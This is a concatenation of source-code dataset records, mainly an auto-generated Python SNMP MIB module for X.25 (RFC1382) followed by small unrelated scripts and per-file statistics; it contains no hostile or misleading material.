the PLE default means tcNone. A value of\n tcNone means do not negotiate throughtput\n class.') x25CallParmOutThruPutClasSize = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,))).clone(namedValues=NamedValues(("tcReserved1", 1), ("tcReserved2", 2), ("tc75", 3), ("tc150", 4), ("tc300", 5), ("tc600", 6), ("tc1200", 7), ("tc2400", 8), ("tc4800", 9), ("tc9600", 10), ("tc19200", 11), ("tc48000", 12), ("tc64000", 13), ("tcReserved14", 14), ("tcReserved15", 15), ("tcReserved0", 16), ("tcNone", 17), ("tcDefault", 18),)).clone('tcNone')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmOutThruPutClasSize.setDescription('The outgoing throughput class to negotiate.\n A value of tcDefault for a circuit means use\n the PLE default. A value of tcDefault for\n the PLE default means use tcNone. A value\n of tcNone means do not negotiate throughtput\n class.') x25CallParmCug = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 13), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,4)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmCug.setDescription('The Closed User Group to specify. This\n consists of two or four octets containing\n the characters 0 through 9. A zero length\n string indicates no facility requested. A\n string length of three containing the\n characters DEF for a circuit means use the\n PLE default, (the PLE default parameter may\n not reference an entry of DEF.)') x25CallParmCugoa = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 14), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,4)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmCugoa.setDescription('The Closed User Group with Outgoing Access\n to specify. This consists of two or four\n octets containing the characters 0 through\n 9. A string length of three containing the\n characters DEF for a circuit means use the\n PLE default (the PLE default parameters may\n not reference an entry of DEF). A zero\n length string indicates no facility\n requested.') x25CallParmBcug = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 15), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,3)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmBcug.setDescription('The Bilateral Closed User Group to specify.\n This consists of two octets containing the\n characters 0 through 9. A string length of\n three containing the characters DEF for a\n circuit means use the PLE default (the PLE\n default parameter may not reference an entry\n of DEF). A zero length string indicates no\n facility requested.') x25CallParmNui = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 16), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0,108)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmNui.setDescription('The Network User Identifier facility. This\n is binary value to be included immediately\n after the length field. The PLE will supply\n the length octet. A zero length string\n indicates no facility requested. This value\n is ignored for the PLE default parameters\n entry.') x25CallParmChargingInfo = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 17), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4,))).clone(namedValues=NamedValues(("default", 1), ("noFacility", 2), ("noChargingInfo", 3), ("chargingInfo", 4),)).clone('noFacility')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmChargingInfo.setDescription('The charging Information facility. A value\n of default for a circuit means use the PLE\n default. The value of default for the\n default PLE parameters means use noFacility.\n The value of noFacility means do not include\n a facility.') x25CallParmRpoa = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 18), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,108)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmRpoa.setDescription('The RPOA facility. The octet string\n contains n * 4 sequences of the characters\n 0-9 to specify a facility with n entries.\n The octet string containing the 3 characters\n DEF for a circuit specifies use of the PLE\n default (the entry for the PLE default may\n not contain DEF). A zero length string\n indicates no facility requested.') x25CallParmTrnstDly = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 19), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65537)).clone(65536)).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmTrnstDly.setDescription('The Transit Delay Selection and Indication\n value. A value of 65536 indicates no\n facility requested. A value of 65537 for a\n circuit means use the PLE default (the PLE\n\n\n default parameters entry may not use the\n value 65537). The value 65535 may only be\n used to indicate the value in use by a\n circuit.') x25CallParmCallingExt = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 20), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,40)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmCallingExt.setDescription('The Calling Extension facility. This\n contains one of the following:\n\n A sequence of hex digits with the value to\n be put in the facility. These digits will be\n converted to binary by the agent and put in\n the facility. These octets do not include\n the length octet.\n\n A value containing the three character DEF\n for a circuit means use the PLE default,\n (the entry for the PLE default parameters\n may not use the value DEF).\n\n A zero length string indicates no facility\n requested.') x25CallParmCalledExt = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 21), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,40)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmCalledExt.setDescription('The Called Extension facility. This\n contains one of the following:\n\n A sequence of hex digits with the value to\n be put in the facility. These digits will be\n converted to binary by the agent and put in\n the facility. These octets do not include\n\n\n the length octet.\n\n A value containing the three character DEF\n for a circuit means use the PLE default,\n (the entry for the PLE default parameters\n may not use the value DEF).\n\n A zero length string indicates no facility\n requested.') x25CallParmInMinThuPutCls = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 22), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,17)).clone(17)).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmInMinThuPutCls.setDescription('The minimum input throughput Class. A\n value of 16 for a circuit means use the PLE\n default (the PLE parameters entry may not\n use this value). A value of 17 indicates no\n facility requested.') x25CallParmOutMinThuPutCls = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 23), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,17)).clone(17)).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmOutMinThuPutCls.setDescription('The minimum output throughput Class. A\n value of 16 for a circuit means use the PLE\n default (the PLE parameters entry may not\n use this value). A value of 17 indicates no\n facility requested.') x25CallParmEndTrnsDly = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 24), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0,6)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmEndTrnsDly.setDescription('The End-to-End Transit Delay to negotiate.\n An octet string of length 2, 4, or 6\n\n\n contains the facility encoded as specified\n in ISO/IEC 8208 section 15.3.2.4. An octet\n string of length 3 containing the three\n character DEF for a circuit means use the\n PLE default (the entry for the PLE default\n can not contain the characters DEF). A zero\n length string indicates no facility\n requested.') x25CallParmPriority = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 25), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0,6)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmPriority.setDescription('The priority facility to negotiate. The\n octet string encoded as specified in ISO/IEC\n 8208 section 15.3.2.5. A zero length string\n indicates no facility requested. The entry\n for the PLE default parameters must be zero\n length.') x25CallParmProtection = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 26), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,108)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmProtection.setDescription('A string contains the following:\n A hex string containing the value for the\n protection facility. This will be converted\n from hex to the octets actually in the\n packet by the agent. The agent will supply\n the length field and the length octet is not\n contained in this string.\n\n An string containing the 3 characters DEF\n for a circuit means use the PLE default (the\n entry for the PLE default parameters may not\n use the value DEF).\n\n A zero length string mean no facility\n requested.') x25CallParmExptData = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 27), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3,))).clone(namedValues=NamedValues(("default", 1), ("noExpeditedData", 2), ("expeditedData", 3),)).clone('noExpeditedData')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmExptData.setDescription('The Expedited Data facility to negotiate.\n A value of default for a circuit means use\n the PLE default value. The entry for the\n PLE default parameters may not have the\n value default.') x25CallParmUserData = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 28), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0,128)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmUserData.setDescription('The call user data as placed in the packet.\n A zero length string indicates no call user\n data. If both the circuit call parameters\n and the PLE default have call user data\n defined, the data from the circuit call\n parameters will be used. If only the PLE\n has data defined, the PLE entry will be\n used. If neither the circuit call\n parameters or the PLE default entry has a\n value, no call user data will be sent.') x25CallParmCallingNetworkFacilities = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 29), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0,108)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmCallingNetworkFacilities.setDescription('The calling network facilities. The\n facilities are encoded here exactly as\n encoded in the call packet. These\n\n\n facilities do not include the marker\n facility code.\n\n A zero length string in the entry for the\n parameter to use when establishing a circuit\n means use the PLE default. A zero length\n string in the entry for PLE default\n parameters indicates no default facilities.') x25CallParmCalledNetworkFacilities = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 30), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0,108)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmCalledNetworkFacilities.setDescription('The called network facilities. The\n facilities are encoded here exactly as\n encoded in the call packet. These\n facilities do not include the marker\n facility code.\n\n A zero length string in the entry for the\n parameter to use when establishing a circuit\n means use the PLE default. A zero length\n string in the entry for PLE default\n parameters indicates no default facilities.') x25Restart = NotificationType((1, 3, 6, 1, 2, 1, 10, 5) + (0,1)).setObjects(*(("RFC1382-MIB", "x25OperIndex"),)) if mibBuilder.loadTexts: x25Restart.setDescription('This trap means the X.25 PLE sent or\n received a restart packet. The restart that\n brings up the link should not send a\n x25Restart trap so the interface should send\n a linkUp trap. Sending this trap means the\n agent does not send a linkDown and linkUp\n trap.') x25Reset = NotificationType((1, 3, 6, 1, 2, 1, 10, 5) + (0,2)).setObjects(*(("RFC1382-MIB", "x25CircuitIndex"), ("RFC1382-MIB", "x25CircuitChannel"),)) if mibBuilder.loadTexts: x25Reset.setDescription('If the PLE sends or receives a reset, the\n agent should send an x25Reset trap.') x25ProtocolVersion = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5, 10)) x25protocolCcittV1976 = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5, 10, 1)) x25protocolCcittV1980 = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5, 10, 2)) x25protocolCcittV1984 = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5, 10, 3)) x25protocolCcittV1988 = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5, 10, 4)) x25protocolIso8208V1987 = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5, 10, 5)) x25protocolIso8208V1989 = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5, 10, 6)) mibBuilder.exportSymbols("RFC1382-MIB", x25CallParmAcceptReverseCharging=x25CallParmAcceptReverseCharging, x25StatRetryCountExceededs=x25StatRetryCountExceededs, x25StatEntry=x25StatEntry, x25StatOutInterrupts=x25StatOutInterrupts, x25StatInCalls=x25StatInCalls, x25StatInRestarts=x25StatInRestarts, x25ClearedCircuitIndex=x25ClearedCircuitIndex, x25CallParmFastSelect=x25CallParmFastSelect, x25CircuitOutOctets=x25CircuitOutOctets, x25AdmnRestartCount=x25AdmnRestartCount, x25OperRejectTimer=x25OperRejectTimer, x25ChannelLIC=x25ChannelLIC, x25ChannelTable=x25ChannelTable, x25AdmnPacketSequencing=x25AdmnPacketSequencing, x25StatIndex=x25StatIndex, x25OperLocalAddress=x25OperLocalAddress, x25AdmnMinimumRecallTimer=x25AdmnMinimumRecallTimer, x25ChannelHTC=x25ChannelHTC, x25StatOutCallFailures=x25StatOutCallFailures, x25Reset=x25Reset, x25StatResetTimeouts=x25StatResetTimeouts, x25CircuitEstablishTime=x25CircuitEstablishTime, x25CallParmInPacketSize=x25CallParmInPacketSize, x25protocolCcittV1976=x25protocolCcittV1976, x25=x25, x25OperDataLinkId=x25OperDataLinkId, x25StatCallTimeouts=x25StatCallTimeouts, x25OperClearCount=x25OperClearCount, x25ClearedCircuitInPdus=x25ClearedCircuitInPdus, x25OperDataRxmtTimer=x25OperDataRxmtTimer, X121Address=X121Address, x25OperResetTimer=x25OperResetTimer, x25StatDataRxmtTimeouts=x25StatDataRxmtTimeouts, x25CallParmCallingExt=x25CallParmCallingExt, x25CallParmCalledNetworkFacilities=x25CallParmCalledNetworkFacilities, x25ClearedCircuitCallingAddress=x25ClearedCircuitCallingAddress, x25AdmnLocalAddress=x25AdmnLocalAddress, x25AdmnMaxActiveCircuits=x25AdmnMaxActiveCircuits, x25CallParmOutMinThuPutCls=x25CallParmOutMinThuPutCls, x25CircuitOutPdus=x25CircuitOutPdus, x25ProtocolVersion=x25ProtocolVersion, x25CircuitOutInterrupts=x25CircuitOutInterrupts, x25CircuitCallParamId=x25CircuitCallParamId, x25OperPacketSequencing=x25OperPacketSequencing, x25AdmnDefCallParamId=x25AdmnDefCallParamId, x25CallParmRefCount=x25CallParmRefCount, x25AdmnResetTimer=x25AdmnResetTimer, x25AdmnRegistrationRequestCount=x25AdmnRegistrationRequestCount, x25CircuitInOctets=x25CircuitInOctets, x25CallParmOutPacketSize=x25CallParmOutPacketSize, x25ClearedCircuitClearingCause=x25ClearedCircuitClearingCause, x25AdmnInterfaceMode=x25AdmnInterfaceMode, x25CircuitInPdus=x25CircuitInPdus, x25CallParmOutThruPutClasSize=x25CallParmOutThruPutClasSize, x25CallParmProtection=x25CallParmProtection, x25OperCallTimer=x25OperCallTimer, x25AdmnRejectCount=x25AdmnRejectCount, x25OperNumberPVCs=x25OperNumberPVCs, x25CircuitOriginallyCalledAddress=x25CircuitOriginallyCalledAddress, x25ClearedCircuitTimeEstablished=x25ClearedCircuitTimeEstablished, x25AdmnIndex=x25AdmnIndex, x25OperTable=x25OperTable, x25CallParmStatus=x25CallParmStatus, x25AdmnClearTimer=x25AdmnClearTimer, x25CallParmCalledExt=x25CallParmCalledExt, x25CallParmEntry=x25CallParmEntry, x25CircuitChannel=x25CircuitChannel, x25StatOutDataPackets=x25StatOutDataPackets, x25OperInterfaceMode=x25OperInterfaceMode, x25AdmnResetCount=x25AdmnResetCount, x25StatOutgoingCircuits=x25StatOutgoingCircuits, x25CircuitCalledDteAddress=x25CircuitCalledDteAddress, x25AdmnCallTimer=x25AdmnCallTimer, x25ChannelHOC=x25ChannelHOC, x25CallParmExptData=x25CallParmExptData, x25CallParmProposeReverseCharging=x25CallParmProposeReverseCharging, x25CircuitDescr=x25CircuitDescr, x25CallParmInMinThuPutCls=x25CallParmInMinThuPutCls, x25ClearedCircuitClearFacilities=x25ClearedCircuitClearFacilities, x25CallParmTrnstDly=x25CallParmTrnstDly, x25CallParmNui=x25CallParmNui, x25StatInProviderInitiatedResets=x25StatInProviderInitiatedResets, x25CallParmChargingInfo=x25CallParmChargingInfo, x25StatRestartTimeouts=x25StatRestartTimeouts, x25protocolCcittV1984=x25protocolCcittV1984, x25protocolIso8208V1987=x25protocolIso8208V1987, x25CircuitIndex=x25CircuitIndex, x25OperRestartTimer=x25OperRestartTimer, x25ClearedCircuitPleIndex=x25ClearedCircuitPleIndex, x25OperInterruptTimer=x25OperInterruptTimer, x25CallParmCug=x25CallParmCug, x25StatTwowayCircuits=x25StatTwowayCircuits, x25AdmnWindowTimer=x25AdmnWindowTimer, x25ClearedCircuitCalledAddress=x25ClearedCircuitCalledAddress, x25ClearedCircuitTimeCleared=x25ClearedCircuitTimeCleared, x25CallParmPriority=x25CallParmPriority, x25OperRegistrationRequestTimer=x25OperRegistrationRequestTimer, x25AdmnClearCount=x25AdmnClearCount, x25protocolCcittV1980=x25protocolCcittV1980, x25protocolCcittV1988=x25protocolCcittV1988, x25ClearedCircuitEntriesGranted=x25ClearedCircuitEntriesGranted, x25CallParmInWindowSize=x25CallParmInWindowSize, x25ChannelLOC=x25ChannelLOC, x25CircuitDataRetransmissionTimeouts=x25CircuitDataRetransmissionTimeouts, x25OperClearTimer=x25OperClearTimer, x25StatOutCallAttempts=x25StatOutCallAttempts, x25CallParmRpoa=x25CallParmRpoa, x25CallParmInThruPutClasSize=x25CallParmInThruPutClasSize, x25ClearedCircuitEntriesRequested=x25ClearedCircuitEntriesRequested, x25StatInterruptTimeouts=x25StatInterruptTimeouts, x25OperIndex=x25OperIndex, x25CallParmUserData=x25CallParmUserData, x25AdmnRejectTimer=x25AdmnRejectTimer, x25ClearedCircuitEntry=x25ClearedCircuitEntry, x25ClearedCircuitTable=x25ClearedCircuitTable, x25protocolIso8208V1989=x25protocolIso8208V1989, x25StatClearCountExceededs=x25StatClearCountExceededs, x25OperMaxActiveCircuits=x25OperMaxActiveCircuits, x25StatInCallRefusals=x25StatInCallRefusals, x25CircuitInRemotelyInitiatedResets=x25CircuitInRemotelyInitiatedResets, x25OperRestartCount=x25OperRestartCount, x25OperProtocolVersionSupported=x25OperProtocolVersionSupported, x25CallParmOutWindowSize=x25CallParmOutWindowSize, x25OperRejectCount=x25OperRejectCount, x25StatIncomingCircuits=x25StatIncomingCircuits, x25ClearedCircuitChannel=x25ClearedCircuitChannel, x25StatInAccusedOfProtocolErrors=x25StatInAccusedOfProtocolErrors, x25CircuitInterruptTimeouts=x25CircuitInterruptTimeouts, x25AdmnNumberPVCs=x25AdmnNumberPVCs, x25OperDefCallParamId=x25OperDefCallParamId, x25AdmnInterruptTimer=x25AdmnInterruptTimer, x25CircuitInProviderInitiatedResets=x25CircuitInProviderInitiatedResets, x25StatInRemotelyInitiatedResets=x25StatInRemotelyInitiatedResets, x25OperResetCount=x25OperResetCount, x25ChannelIndex=x25ChannelIndex, x25ChannelLTC=x25ChannelLTC, x25CallParmTable=x25CallParmTable, x25CallParmCugoa=x25CallParmCugoa, x25AdmnDataRxmtTimer=x25AdmnDataRxmtTimer, x25ChannelEntry=x25ChannelEntry, x25ChannelHIC=x25ChannelHIC, x25CircuitInInterrupts=x25CircuitInInterrupts, x25StatInProviderInitiatedClears=x25StatInProviderInitiatedClears, x25AdmnTable=x25AdmnTable, x25AdmnDataRxmtCount=x25AdmnDataRxmtCount, x25AdmnEntry=x25AdmnEntry, x25ClearedCircuitDiagnosticCode=x25ClearedCircuitDiagnosticCode, x25CircuitResetTimeouts=x25CircuitResetTimeouts, x25Restart=x25Restart, x25CallParmEndTrnsDly=x25CallParmEndTrnsDly, x25CallParmIndex=x25CallParmIndex, x25OperMinimumRecallTimer=x25OperMinimumRecallTimer, x25OperWindowTimer=x25OperWindowTimer, x25AdmnRestartTimer=x25AdmnRestartTimer, x25OperEntry=x25OperEntry, x25CircuitCallingDteAddress=x25CircuitCallingDteAddress, x25CircuitDirection=x25CircuitDirection, x25ClearedCircuitOutPdus=x25ClearedCircuitOutPdus, x25CallParmBcug=x25CallParmBcug, x25StatInInterrupts=x25StatInInterrupts, x25AdmnRegistrationRequestTimer=x25AdmnRegistrationRequestTimer, x25StatTable=x25StatTable, x25AdmnProtocolVersionSupported=x25AdmnProtocolVersionSupported, x25OperRegistrationRequestCount=x25OperRegistrationRequestCount, x25CallParmCallingNetworkFacilities=x25CallParmCallingNetworkFacilities, x25OperDataRxmtCount=x25OperDataRxmtCount, x25CircuitStatus=x25CircuitStatus, x25CircuitTable=x25CircuitTable, x25CircuitEntry=x25CircuitEntry, x25StatInDataPackets=x25StatInDataPackets, x25StatClearTimeouts=x25StatClearTimeouts)
244.053824
7,726
0.659447
9,617
86,151
5.907352
0.091505
0.0069
0.01204
0.01197
0.492352
0.449209
0.380613
0.352784
0.314957
0.297566
0
0.074673
0.248889
86,151
352
7,727
244.747159
0.803273
0.003459
0
0
0
0.232558
0.50911
0.003669
0
0
0
0
0
1
0
false
0.002907
0.026163
0
0.031977
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
f1a788db703822e8a003481685a9663aca484c11
719
py
Python
singleton.py
chengboliber/designpattern
ee8ac04610b9e9df358a40aac0f6dce2271a6696
[ "Apache-2.0" ]
null
null
null
singleton.py
chengboliber/designpattern
ee8ac04610b9e9df358a40aac0f6dce2271a6696
[ "Apache-2.0" ]
null
null
null
singleton.py
chengboliber/designpattern
ee8ac04610b9e9df358a40aac0f6dce2271a6696
[ "Apache-2.0" ]
null
null
null
# -*- coding:utf-8 -*- def decorator_singleton(cls): """ 装饰器实现方式 :param cls: :return: """ instances = {} def _singleton(*args, **kwargs): if cls not in instances: instances[cls] = cls(*args, **kwargs) return _singleton class NewSingleton(object): """ 需要单例实现的类继承该类 注意:该方法不适用于多线程下的单例模式 """ def __new__(cls, *args, **kwargs): if not hasattr(cls, '_instance'): cls._instance = super(NewSingleton, cls).__new__(cls, *args, **kwargs) return cls._instance class DstClass(object): """ 模块实例引用法, 直接实例化目标类,其他地方引用该类时,就是永远都是单例模式 """ def __init__(self, *args, **kwargs): pass DstClass = DstClass()
17.975
82
0.578581
71
719
5.605634
0.478873
0.125628
0.09799
0.095477
0
0
0
0
0
0
0
0.001927
0.278164
719
39
83
18.435897
0.764933
0.16968
0
0
0
0
0.016698
0
0
0
0
0
0
1
0.266667
false
0.066667
0
0
0.533333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
3
f1b913ea0bf3f2cebeb405217275cf2794f5560b
418
py
Python
DESAFIO-014.py
Lukones/Evolution-Projetos-Python
d979f3702f0e22ab5256b19fd957dba587c44f85
[ "MIT" ]
null
null
null
DESAFIO-014.py
Lukones/Evolution-Projetos-Python
d979f3702f0e22ab5256b19fd957dba587c44f85
[ "MIT" ]
null
null
null
DESAFIO-014.py
Lukones/Evolution-Projetos-Python
d979f3702f0e22ab5256b19fd957dba587c44f85
[ "MIT" ]
null
null
null
# Um programa que realiza um sorteio de um nº limitado de alunos # from random import choice a = input('Digite os nomes dos alunos que vão ser sorteados: ') b = input('Digite os nomes dos alunos que vão ser sorteados: ') c = input('Digite os nomes dos alunos que vão ser sorteados: ') d = input('Digite os nomes dos alunos que vão ser sorteados: ') lista = [a, b, c, d] print(f'O aluno sorteado é: {choice(lista)}')
38
66
0.712919
73
418
4.082192
0.438356
0.147651
0.174497
0.241611
0.604027
0.604027
0.604027
0.604027
0.604027
0.604027
0
0
0.188995
418
10
67
41.8
0.879056
0.148325
0
0
0
0
0.669516
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0.142857
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
f1bc45c78d44aa0709939701954a0d125d857f08
659
py
Python
kentik_synth_client/api_transport_grpc.py
ccousinsgithub/synth_tools
ff0bc572eaa5570f08fd633b140b1e04997c6833
[ "Apache-2.0" ]
null
null
null
kentik_synth_client/api_transport_grpc.py
ccousinsgithub/synth_tools
ff0bc572eaa5570f08fd633b140b1e04997c6833
[ "Apache-2.0" ]
null
null
null
kentik_synth_client/api_transport_grpc.py
ccousinsgithub/synth_tools
ff0bc572eaa5570f08fd633b140b1e04997c6833
[ "Apache-2.0" ]
null
null
null
import logging import sys from typing import Any, Dict, Optional, Tuple from .api_transport import KentikAPIRequestError, KentikAPITransport sys.path.append("../generated") # import generated.kentik.synthetics.v202101beta1.synthetics_pb2 # from generated.kentik.synthetics.v202101beta1.synthetics_pb2_grpc import SyntheticsAdminService, SyntheticsDataService log = logging.getLogger("api_transport_grpc") class SynthGRPCTransport(KentikAPITransport): def __init__(self, credentials: Tuple[str, str], url: str = "https://synthetics.api.kentik.com"): raise NotImplementedError def req(self, op: str, **kwargs) -> Any: return None
31.380952
120
0.77997
73
659
6.90411
0.575342
0.047619
0.099206
0.146825
0.198413
0.198413
0
0
0
0
0
0.02773
0.124431
659
20
121
32.95
0.845754
0.274659
0
0
1
0
0.132632
0
0
0
0
0
0
1
0.181818
false
0
0.363636
0.090909
0.727273
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
f1c2cd0e4eb0eb2d72229ef0e5f9d8666ae995c6
734
py
Python
scripts/benchmark/tools/rand.py
nishanttotla/cpachecker-crowdprover
d5d1b8c266a40f13a226f46577ca23744c0c4420
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
scripts/benchmark/tools/rand.py
nishanttotla/cpachecker-crowdprover
d5d1b8c266a40f13a226f46577ca23744c0c4420
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
scripts/benchmark/tools/rand.py
nishanttotla/cpachecker-crowdprover
d5d1b8c266a40f13a226f46577ca23744c0c4420
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
from random import random import benchmark.tools.template import benchmark.result as result class Tool(benchmark.tools.template.BaseTool): """ This tool is an imaginary tool that randomly returns SAFE and UNSAFE. To use it you need a normal benchmark-xml-file with the tool and sourcefiles, however options are ignored. """ def getExecutable(self): return '/bin/true' def getName(self): return 'Random' def getCmdline(self, executable, options, sourcefiles, propertyfile, rlimits): return [executable] + sourcefiles def getStatus(self, returncode, returnsignal, output, isTimeout): return result.STATUS_TRUE_PROP if random() < 0.5 else result.STATUS_FALSE_REACH
33.363636
87
0.722071
93
734
5.655914
0.655914
0.045627
0.08365
0
0
0
0
0
0
0
0
0.003413
0.201635
734
22
87
33.363636
0.894198
0.239782
0
0
0
0
0.028037
0
0
0
0
0
0
1
0.333333
false
0
0.25
0.333333
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
f1e9a5199ac993fe7ffc42ea5a62c7d3e2ed8ff1
71
py
Python
lichessbot/lichessbotpoetry/bot/__init__.py
pythonideas/poetry
e3139c13d936952a211dc7a932a0c15312dffedb
[ "MIT" ]
null
null
null
lichessbot/lichessbotpoetry/bot/__init__.py
pythonideas/poetry
e3139c13d936952a211dc7a932a0c15312dffedb
[ "MIT" ]
null
null
null
lichessbot/lichessbotpoetry/bot/__init__.py
pythonideas/poetry
e3139c13d936952a211dc7a932a0c15312dffedb
[ "MIT" ]
null
null
null
import chess def demo(): board = chess.Board() print(board)
8.875
25
0.605634
9
71
4.777778
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.267606
71
7
26
10.142857
0.826923
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0.25
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
f1fc57e12f05ced93030ce800608dd100c341237
619
py
Python
multidimensional_optimization/stochastic/boltzmann_method.py
avdosev/optimization_methods
fc65a983b6a925a6b2a3285ed87a277f03db2bba
[ "MIT" ]
13
2019-10-17T07:46:38.000Z
2022-03-14T20:11:03.000Z
multidimensional_optimization/stochastic/boltzmann_method.py
avdosev/optimization_methods
fc65a983b6a925a6b2a3285ed87a277f03db2bba
[ "MIT" ]
null
null
null
multidimensional_optimization/stochastic/boltzmann_method.py
avdosev/optimization_methods
fc65a983b6a925a6b2a3285ed87a277f03db2bba
[ "MIT" ]
9
2019-10-04T09:12:31.000Z
2021-12-07T17:03:50.000Z
import random import math import numpy as np from scipy.stats import cauchy from stochastic.simulated_annealing import simulated_annealing def boltzmann_method(x0, t0, function, N=2500): """ алгоритм имитации отжига метод Больцмана """ annealing = lambda k: t0 / math.log(1. + k) # passage = lambda e_old, e_new, t: 1. / (1. + math.exp((e_new - e_old) / t)) passage = lambda e_old, e_new, t: math.exp(-1. * (e_new - e_old) / t) neighbour = lambda x_old, t: x_old + t * np.random.standard_normal(len(x_old)) return simulated_annealing(function, x0, N, annealing, neighbour, passage)
38.6875
83
0.688207
96
619
4.270833
0.4375
0.039024
0.068293
0.082927
0.15122
0.107317
0.107317
0
0
0
0
0.024048
0.193861
619
16
84
38.6875
0.797595
0.189015
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0.2
0.5
0
0.7
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
3
7b00a03f4a4d9e67b9cebb438b4946690e01983d
371
py
Python
tests/optimizers_test/test_sine_cosine_algorithm.py
pfnet-research/batch-metaheuristics
202372a4ef4439cceb71e71092487c9173fd367c
[ "MIT" ]
7
2021-01-22T05:00:18.000Z
2022-02-26T12:41:07.000Z
tests/optimizers_test/test_sine_cosine_algorithm.py
pfnet-research/batch-metaheuristics
202372a4ef4439cceb71e71092487c9173fd367c
